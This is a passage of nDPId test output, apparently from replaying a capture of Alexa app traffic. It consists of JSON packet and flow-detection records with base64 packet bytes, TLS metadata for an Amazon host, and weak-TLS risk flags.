JmwUTZjIvgnpn8oESxFQGZhABxALYxIf980LdQBXXfV14Rjz\/9pRyNiulQlK5FUZfjkpDchppAzERTM8VX0N5QPVjDfbFLNzV+m+voPJvexq5A7BAVufHZJPqDz2xDlKSLQQ1EHITU6EPXotJ2V\/nanp7AiCdZv5KR323utWu1I2K2D4kniM5tyJa\/3NWnNGbndopT8IwuSAktaQkvuFXVqoYYXA1Dtqu\/pYbYS5lZWqss1qv4jsZgdK32vAdRn7TatDT+1E3rfCTSSLS+CcU7kylaRvInTUhj0QNwdkDpZ5CcVrm46NBI\/x62XISGVeg8HpvWY0yyDVYsCrj9hq8nYyhbLygIIU\/xbiS\/WGyamipyOkw75lGQSrllNkfCvEFBYWBoDKBEszVOhAzYFmNE0xAiqIqZUG\/f6jTlk2J04y3YzQVdMPz+4x6OA2HXs\/ZkKHQyaNskv8MIrdAmxQeWVEEPUb+bCdb+P70XoDtBbixyqHO4G0m3FRV7gd+LLw9uUuUmYtdGxCerermsORvxqab+adJOgThdy8ebaMclQrD9tTPQSkMBc3P\/28W+\/2xp5gbiLcZnhItSFv\/NvgxlEoBvbt60AOPOcHnN2IkwG9IMNESoNTuwek\/AHM9T6GoHrVPGwhCc4eU0GeQeSxPnYiBE\/5ZE9QAd5t\/RowVgKN72LJbfKj0OQVovWvcxgE+nsR0m5slqjotHe1RW6eKBx8TFZABRJUJp8JIz\/BfiBMegNNgo3\/rryfkUahggch15PHK9F+3MDJbV5wHNgWFBnHy8CN+erjdpT8Tyinked6OgXP9zu2mOW5Xl65QfNyvoKZhpXLCRWpAWtDaelDm5jlQgKbCUzut70q82rluc+SsdTTNYZsjc\/Drvl4XS2B3+5ErCZmqad9eayZAhnwtFjUzfMb3XqmKAPZqrtnBreiUBF6UkCob2Q6ckjNa6lGxbC4oexjeiYU\/Uv8afNl+Ly\/Z4OklR\/QD+DSEz72IkOtGAvcm+BJcOhFsWhCGPS7wQGhPfycMmm9sZitcSwRvFqxd3a2Ysl6w="} +00600{"flow_id":81,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1223,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":244001,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"AMDKkaPvePiC0\/vCCABFAACuI89AAEAGIq6sECrYNF7ohrKHAbtpd4Lq8ytCK1AYAVcSOgAAiUnxJ8FdEFN4uQzu5DWCVUhw5fm8W51SwPQh5Tee6yHP\/q771b9at3P4VMm2MoEsYofFfYrlXDO8EPqyCLVwu7EkLHp+VOGvrC853LzM0wuNZkkNL8FCWE0VN2jHgweP4JQa3aEFhiV31zGYyBo4MK3l25inq5amLu3epBHGuYmtqymBiSM="} +00739{"flow_id":83,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1224,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":244165,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXk2NAAEAGsrCsECrYNF7ohrKJAbv5cMy3LToAJFAYAVdDMAAAFgMBAOoBAADmAwMX0DmvFoc93MqqbnDLtg4DTevZCvztq0wbg4n1o5FhxCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgGhrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9OjoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACNraAB0AFwAYqqoAAQA="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1224,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":83,"flow_packet_id":4,"flow_first_seen":1490976085832,"flow_last_seen":1490976086244,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45705,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02402{"flow_id":82,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1225,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":245249,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcqaNAAEAGl6usECrYNF7ohrKIAbvGQPd040EeIFAQAVdTxQAAFwMBACDsnx5bxH979p9in1g4C6mXugb4GvE3dbo\/oI3BhSRwIBcDAQZA8TFGdY5Cnc0\/XYQs+5AlG6Irr9Sz2m9DAwM9WrV6bMsprTKCZFcjxK9ZBJQ9sQkhr614pDKVqanZ8SOkegOtcLoA3vdmOZo3sg4HVCWt0hjGPOftz\/jLPvEPr3ZR5HuTnkSEnu1UQbluabgCPKGe\/fv\/gOQbBGhHGegr1tTwQR0S\/\/jmuaBUE4YDV2BIhXKlvySS4fJ0DicrOrbYiVHhWG4iYPShzKjSBjCHmC7uQpNeMmm1s8B\/5h+9Ds5VLEuKEJRgBn3Xaa9dfyTSY+G3MEhj2CvjWMEF0CJx\/fJnYesJMPJKmvVk7lKyvwm7gDsQM0oELYTJpkH1Dy50tOpIuxknQslAjIgVtpMXKtKz3YL0isgBKUTjP98jT3jBR1RQ0WygbjzIQISA9znCADJ9vgRtu0RToWDhQlxGs9Vzp8YYEOKHxSwVJ3wOUin9rsDeYwB1Lduj70J98Qp2wbfnL3Fg\/euVBMmZASRCHMdCuRtP0Gaqx9tUOyfiu8+eTDQ6sxjavkQ7\/36w418yaxHsqVobq7tLIctogSdWSUt7qjOp5u2aQkH93meOfrBr\/alEGo6zH+\/rk7S8qyMpJ+onED2Eu1yBuNQpDPQA7kWD3dub6BXy45U1YnFvVBrPr+JoqF8+I0WOFk8A5Dr5sRoS7JL0\/fbSNNHt27+Xb\/\/zj90P3ERYiR+jIPq3+TpClUZeQcoeAVddqLSUGe6JsZK+DP\/RcpkjuHTIt79G+dfMMGOS7ZiWOWKV2jt0DMKVcBzYNj8c+OCmE4DJ6i1p\/5StUq7xG6fSnnznkYJ\/SG7WwfQC8F\/xPnSfAxHoGqLU8Cpj3KJHlbH9n0WCaptlTukwD4+v0jqrbPEDhe8jSJDNXm6EW+0kHfT5edzybzkm81vuE3ZMfQNy9J+OwKsLvyjAFu+NFXdhovoDupLwIBR4KnKdUF5sk1HfmG3DCndR9KzUvm5MQ7GQFC9w44xM\/xn8l4u4IJuOjrwM3aMQw1w6+O3tYkJzp7cdS3129tBa31YVKcprlw8yRUxxpdOU89UM8HwIcnwXL7ywiIsQSATvKvUwqpb+M0nTuseOOTRWVnPWFG6KGB88+2De32yV3+gXfFnx43JR1hKUlx79i0UC+QJ6zlUOGwo4w\/dq714AIsv47mCflQ\/6gmZUKbUO5Tt7qILucINMwilG8BYBkwja4Knf3j4CJvmZaYVe9lI6hx76K9cJ8Tx3St24zhQXsNknGZZUL9WLBp2Y9cpZsuvwgdv78ubCFvcz4Vcz6G3MQB\/x+sXdSibEienfx4vYhdta8B3Wns9sEb1PJlrbzXK8iKTTW8yzQVtMXJl3rnf1p9Oz3iw5JNIaQlChccq8UeyKdbVyfWkOLsE0XDbEYOJ67aCcNrMw9e45nX\/JnTEqEMx8MxMYcgHLm0r+4sFIjg5DMV926Bhk8hHgbVLhcmafugCtf8BKEa9buE5Ij3RZV1ZtJosvsxt5VPPUYbWSTCyvB5LOzd6qxiAQh8u1JU0\/SJShBUscGgehs2cwti5ahOkc1a8NqvSsBajvf\/YZppyR32tjj5wtm8QoaBdB6hyAWfmiitlm4O56Yv4bWL7c9ZsZgcbQ5soNEYANZarJ1u8UpmjlGrJnJgSEtpMY2pRK8WNT1lgBFRAM3grlFc95z146qcetSZ\/5Ze2zyX7LgO9xx8Gampxe9IlyYzzJcVWPLwX1XwrrroOfEnQ7N7cxU8SfW+H6ANeR+1pJdApMuJI5soe56E6c3drbcqvzVxn1gD7SIdYX\/eJXmirjf0fxl\/6u0rSmgeTLEfMlADbY5j3z\/8i727kVBMmwcLLGoUecGmhugM8cM1tqFmi3Agza7b+7AAsqc3NqjR8YbwCk4O\/+E6jbyfuasLkIMIU="} +00667{"flow_id":82,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1226,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":245552,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"AMDKkaPvePiC0\/vCCABFAADeqaRAAEAGnKisECrYNF7ohrKIAbvGQP0o40EeIFAYAVdRlwAAmPuk9xQL067n6lGxgVKXBM4UFe5ZAxeONmzDM5vsajDS6B+FYzlFINNdpTzneoxvkF4rDLmx6krgshFu8XD\/vL2WJ+LtbZ5Wp1Ch9l4tql\/7dcrPfbrMVEr3XEKv8jHxIoNHvj3\/BurgjaveUEJCxyzFNzvf2b\/Kr0XeJu8Vbsb9hgCbdRBRa0FfRSSLULS6mOLrTNFr4L4gdUEcC91Pa9g0MbpowbLabZw9NXwc3dSdCqYVU3U="} +00425{"flow_id":81,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1227,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":648151,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoF+pAAOcGiBg0XuiGrBAq2AG7sofzK0IraXd9NlAQf\/dryAAAAAAAAAAA"} +00424{"flow_id":81,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1228,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":648216,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoGBtAAOcGh+c0XuiGrBAq2AG7sofzK0IraXeC6lAQf+BmKwAAAAAAAAAA"} +00425{"flow_id":82,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1229,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":648239,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoeUJAAOcGJsA0XuiGrBAq2AG7sojjQR4gxkD3dFAQf\/fItAAAAAAAAAAA"} +00536{"flow_id":83,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1230,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":648262,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9SB9AAOcGV440XuiGrBAq2AG7soktOgAk+XDNplAYf\/gBdQAAFgMBAEoCAABGAwFY3n1W5OOWJNfC\/vUq2mNwZtKQmiBffDQIpiP84nPzOiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1230,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":83,"flow_packet_id":5,"flow_first_seen":1490976085832,"flow_last_seen":1490976086648,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45705,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00490{"flow_id":83,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1231,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":648287,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdSCJAAOcGV6s0XuiGrBAq2AG7soktOgB5+XDNplAYf\/gj4AAAFgMBADB3Tw1XVAuvmIcZBBsRqEr04YWcg2pwJ+22+vesqZrU91kZzVtkEQdmZMtZUaiTOM4="} +00424{"flow_id":82,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1232,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":649230,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoeiZAAOcGJdw0XuiGrBAq2AG7sojjQR4gxkD93lAQf93CZAAAAAAAAAAA"} +01189{"flow_id":82,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1233,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":649588,"pkt_caplen":619,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":619,"pkt_l4_len":585,"pkt":"ePiC0\/vCAMDKkVoBCABFAAJde7FAAOcGIhw0XuiGrBAq2AG7sojjQR4gxkD93lAY\/bBVzQAAFwMBAjCqeWI8zN6yfHeNSLuqPghbU4a\/M+CJZqxNxNtF0mhEXG34bJhYJZaPwJjh69HiRzexfolVtKkBl5l4TMXVjTXm9ZS961bwSXAu1yf5GvpAz6DfSa1uA5xIPOFDAdq7UXv1KLidpyq3P9HYnVpd1paI3Ih\/GdzmD19o7ZT48Ne64cxrXVuWMG2+KDG2etHyuy4xYaPVZjC12N\/7psc6p0IsRat4Osb4ZYh2phLPtJGxF+ZU2BzTxttichMPj6\/IGL4yoI1vjCtpUZnQlCh4RMfaOXVWRG4uBWcw8PWpb5q8InMILwb0088o3ep7OldpUsgwa9MLiWA9xiHeVECcmx1pFek818F9q\/91nDE6lMGcRQ7m4Ivb40JYIUkZBUpIxv3qwxSbBfim0HwfdLmklctHmzsw3kPug9X4zwmvq\/RjK7xc+RaA1pIK2ArsCmB48zmG3DVzxSOCA60nD0uO5y4sRq88dF2odMcK2nlzywUodEmipJrxXgIotyBKL3W1VJVbuQ7IUkwqNOb0HQI4v\/bJsQBRs8w0wnnq+1MWbk\/bVK47MxQwpnm\/YSG5BgP+BM4Ibpqkv\/dnq210Dm5UB8ggwYbGyT4MLGGCopK3OJu4aFFl91ly5f4mSR3P7vnpLJyBVtA2+HDZIMT13d4oWoVXjJ2+kPIdplrPNdYxU9YnUNpsB0pKfIfZUwbKrabtB6N\/iadnJaD24\/yZe7JMVU\/DTLqYS4G6crqe38sXYL3UNg=="} +00499{"flow_id":82,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1234,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":752214,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjqaVAAEAGnSKsECrYNF7ohrKIAbvGQPc540EeIFAYAVce7wAAFAMBAAEBFgMBADAPoa1ts7infxbjjfR8emR0iLKgkDJxMknN5jT+3Oj94JqiGw+Ghid4vvtV\/qImMkA="} +00415{"flow_id":83,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1237,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":760412,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAok2RAAEAGs56sECrYNF7ohrKJAbv5cM2mLToAeVAQAVcRoQAA"} +00415{"flow_id":83,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1238,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":760716,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAok2VAAEAGs52sECrYNF7ohrKJAbv5cM2mLToArlAQAVcRbAAA"} +00499{"flow_id":83,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1239,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":760858,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjk2ZAAEAGs2GsECrYNF7ohrKJAbv5cM2mLToArlAYAVdfuwAAFAMBAAEBFgMBADD1Qn98mbdLfAsblAUjNCVzWHs56uKx7P+e2rtX\/wryt\/D1GTWmPTseili4T+zPW40="} +02403{"flow_id":83,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1240,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":772146,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXck2dAAEAGreesECrYNF7ohrKJAbv5cM3hLToArlAQAVcoLwAAFwMBACDw+SYexE9Our17oeMUKkIlHufQPqAlRzTFmxt17roioxcDAQYgAdHBS\/3FtIQqcQr\/THqkkZqqH6BfmulUCrIDQSpHGd15xtv25RiXTuuGeXXfCWncP8QAKQzy8TgFeckv8ipEZJ1elH927TsseiLONjq0qaiRK++Gn1vQwqKoE+v27ZhTh76qS2emnOBZR+0ehXDXRtb9yA6R+bPotldL0VI1JOCW6FtO90oi7WgwhR5F+ObAWCMJS57efzS9h9eFryMj1ls0grrnxKtyV3vu5OTvSjAAGIM8J9ITVLI4TmryUe8pXI5VhL4jHiJLHe7dpejZHh+58sQwvl1VdXuWrR1S6NONQ9iTAE+WiSC9UQXjViyjlA+xMXTerC8J9oftLL5HpHDx3VfeEfaOEvcIMP9hCe0ebNXyB2g6vqE25v5YRFAUW+cHmwMZiLBZS05MTYZfthw08Xxh0YrPRYOhVoKOe385+8vWHiXYn\/BNS8GVZTT1gKafjvbI5H3nyT3566OFrtNW1YsPyXSZw9nQCQEPWaLrc0jk\/d\/upZ202fTKD+64LjL+UfdqCTncVussh53NKRgXsvKvxgKhblxSo3QHXZ0VtSZt7d2QHVW9EnfsPWJYIhN+h24O1G8pDUPyC4ORV0LTsNHpoLdYmpI8jO2BvkFxsjF0s83RL05vLWnVvi0ILQfixGtQN3ppQcmfuVcmmhp\/h9eVfzcFqwne6nHIx\/bu0WhtdqeYhovfcKQn\/ibfCia+GfbU35bbFTQ1cjjQGxK2HEYcYCh1u3J1Lo3ZQw\/cw7fqAAItTcbVaH5qwr6IaPfGZxjRO6oStrtF9JeCc\/LXnHMukuxcgomQlHHl583hzKfe548m1Ks6yo42V9jgmjCBQiCYfsjaZ2uHMSmqLCZN\/OOfjWH6ww0dnkjTLUvfvZyeBtN\/TTAJR5gbRc+WO4tS3aYnApyIrvu3yI+YevH9lvR\/k1rkT1r0MF\/tH9hocvmD2GatN3mvFUKYcvjO7wDNmlbqJvibgoj5ilJEmmXpXwuwMU83EkqDLTCGigHEoUEYRkJ8MXlOlvG3JeT4ciGtt+erc\/RwugMlCgtAAsNMi1xNFMMUkL\/nIW2GnHns5P\/ca64T0jo7htFP97zqubmkVq\/YURKQWoVQmK73Ptp7ZMAX1\/IrfK2U3cS73kXxuUc3lpW4zz\/BRgPaVF6qP+OaIzxf5wQOVYmORjBF+YDJnNkWYSUEF2ylIVfvLMsgzyEMcFjLmGTPamrptE1lVdAEo0jivdPvlUkIROBemy3DRlI1VyAG+9BP65JWtF+vu3nhid+sn0\/z5k\/B\/OVcaU16Tk+0nbuZUT4OOh8qRTfwxzdudTBd\/O+rB4LMAIj96J86VmFEcl59t1iU0wtnQ9DcZdbNvGZ0+WX2Q4JQ444YdFHJSy4q3PAUNdwziGH2OfbDcDoFo1yimWea4yZbqQVylT0B4vCNhJEVEcUtlLokN5b3wcIxR7EwaaoBoR7FbaVrr6wG9iDsrWTv778TrzBkW16k9J1a2UQzyCzpo6cH2X365i3yGLnIjwdEyCKjChYvD591HyrLEAOy1LDj+LriqifjSeK9TdVzGl+h9V9rRmysAT7wyEFZwBgwrUSoJcQ2vlDPvo\/1EMpMMnQ5wiiUMtVCPHlWiOB1F6z8VB\/G6R6+z6sks\/jKKcHJ61jjgdfn437Hy6jVopg6Y73U93el2rHWwUIZYoGo0esEXksqlmv7Goni56uXCn50R\/EEy0ZDVM3pPj+V0s\/6d4\/euVn7nhHVkU6R+BxjTr2AMbL8qlFWVE0HFvpYXbeBQ3MS3jdrh2EuY2XMyIYm7iDcbFv4boPLHd8Si3W9WMe2E1Vgs3h5CUXTcQ87wDjbJ64HKN\/CyBSS8urG9b5SUGB1b2xXTSP8\/ETQ4hp4EFNf9LkL6qs\/B2szG9g="} +00624{"flow_id":83,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1241,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":772437,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"AMDKkaPvePiC0\/vCCABFAAC+k2hAAEAGswSsECrYNF7ohrKJAbv5cNOVLToArlAYAVeIkAAAdGLW5H5tTxOxzRjIEqeKFVG7l0Nr+rcel634fX1yuCcRyUbZXWZBiC7dV9sPVa8UskOM3FOIvx7h2QTBDirkKD+n\/WhkMB148f\/zuQwqDoEAOEkwB6IleBBe2m2rtg0dQAGYjJIy+uhkjgF4p2WU18KoCO\/eJeaTTCwJY5\/odSUZWwm\/Tt6nBtRxejmpiAvztm+1HWQe"} +00446{"flow_id":84,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1243,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976086,"pkt_ts_usec":880154,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8m\/ZAAEAGPiOsECrYCsl+8Z0yH5CNbMQpAAAAAKAC\/\/93zQAAAgQFtAQCCAoA9mBAAAAAAAEDAwg="} +00425{"flow_id":83,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1246,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976087,"pkt_ts_usec":212269,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoTZNAAOcGUm80XuiGrBAq2AG7soktOgCu+XDN4VAQf\/eSkAAAAAAAAAAA"} +00424{"flow_id":83,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1247,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976087,"pkt_ts_usec":396797,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoUntAAOcGTYc0XuiGrBAq2AG7soktOgCu+XDTlVAQf+CM8wAAAAAAAAAA"} +00424{"flow_id":83,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1248,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976087,"pkt_ts_usec":396932,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoUnxAAOcGTYY0XuiGrBAq2AG7soktOgCu+XDUK1AQf96MXwAAAAAAAAAA"} +01158{"flow_id":83,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1249,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976087,"pkt_ts_usec":396981,"pkt_caplen":603,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":603,"pkt_l4_len":569,"pkt":"ePiC0\/vCAMDKkVoBCABFAAJNVFBAAOcGSY00XuiGrBAq2AG7soktOgCu+XDUK1AY\/bC9vwAAFwMBAiDfR4\/l3sWzCZIYvKPXTOB9dczNoz9\/HQ0L7CRWYtpwJNPwvTxXoZYmNOhH7JQ34GBZcXYU67CKxtfB42LJElvobawHG6Wk39dUSaoLQ1FY3rI43H06F1jCLJZaGxB03BKhAEsHMpWfe3nx+qqRJrSNv3zjYXD4xG9AfhlM0yW\/jRM5ufUNlvpj7WbbGYR9jFYx3v9fxhfKwNmlF+xgBU3R6idnAQpQ1wuQ90sS2LB+BV\/WyRQ1lXiNslswF8ieOlACoYworQwLdqbIm6SHxAQEs0UXcng+5wBIWPaFFh9qsitQ9V9Wxb8C89quo1iNQ4HCsEgrtMhqOvO95e6A8INmKeMGsgPyVhaAVP3pKG8JsF82HJJycXVqhtahjTMQLfuI9DOM2PT5ypo1APbcjvCz8gxM9DdBTb0EYrFUFmp7hgRRxIUSvFhXHtTLqpfrB6HDIkLGoEZ94ID2bl8q9+WmaSLwox0Nm6w6DupayONhT1V9lbDrF9eBzj3c2p96Z9NWMIoAiLf3Wi1Kk54aGPrfRPLMfrLuNZsFr1YX+h52f65xSTylnE7hehTZD5S3pUZuCyKcgJGRkDwO2XnwmZdKlvIH3FSsuoXTKXtjOymzefVbD6oY\/emoUEhF4D3X6qy9AqSxu7rmBwH81q2PfIGWJkEUvPUipIfHhvwMPwt\/ZYsCWupZhk9SUNCVp1IfH16sTJyUEAwiPmhwzcm5xnlO"} +00600{"flow_id":81,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1251,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976087,"pkt_ts_usec":813528,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"AMDKkaPvePiC0\/vCCABFAACuI9BAAEAGIq2sECrYNF7ohrKHAbtpd4Lq8ytCK1AYAVcSOgAAiUnxJ8FdEFN4uQzu5DWCVUhw5fm8W51SwPQh5Tee6yHP\/q771b9at3P4VMm2MoEsYofFfYrlXDO8EPqyCLVwu7EkLHp+VOGvrC853LzM0wuNZkkNL8FCWE0VN2jHgweP4JQa3aEFhiV31zGYyBo4MK3l25inq5amLu3epBHGuYmtqymBiSM="} 